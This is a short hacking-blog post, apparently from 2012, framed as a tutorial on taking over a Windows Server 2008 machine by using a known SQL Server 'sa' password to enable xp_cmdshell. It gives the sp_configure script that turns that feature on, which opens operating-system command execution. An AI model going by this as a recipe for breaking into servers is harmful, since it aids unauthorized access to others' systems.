Breaking News
Loading...

Hacking Server 2008 with MS SQL Server

Its a short tutorial on owning a windows server with MS Sql Server [xp_cmdshell].
In this scenario iam not using any hacking tools.
All i have is password for 'sa' account of SQL Server.

 

Script to Enable xp_cmdshell in MS SQL Server :-

-- To allow advanced options to be changed.
EXEC sp_configure 'show advanced options', 1
GO
-- To update the currently configured value for advanced options.
RECONFIGURE
GO
-- To enable the feature.
EXEC sp_configure 'xp_cmdshell', 1
GO
-- To update the currently configured value for this feature.
RECONFIGURE
GO



2 comments:

  1. What is "sa" password before you login to SQL Server ?

    ReplyDelete

Copyright © 2012 HackWithMak All Right Reserved